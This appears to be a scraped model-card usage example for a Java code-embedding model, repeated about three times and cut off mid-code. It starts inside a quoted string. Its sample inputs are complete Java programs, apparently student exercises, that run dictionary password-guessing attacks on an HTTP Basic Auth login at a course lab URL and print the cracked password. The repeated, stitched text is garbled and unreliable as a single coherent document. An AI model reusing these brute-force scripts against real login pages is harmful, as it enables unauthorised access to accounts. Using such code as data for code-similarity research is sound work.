userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     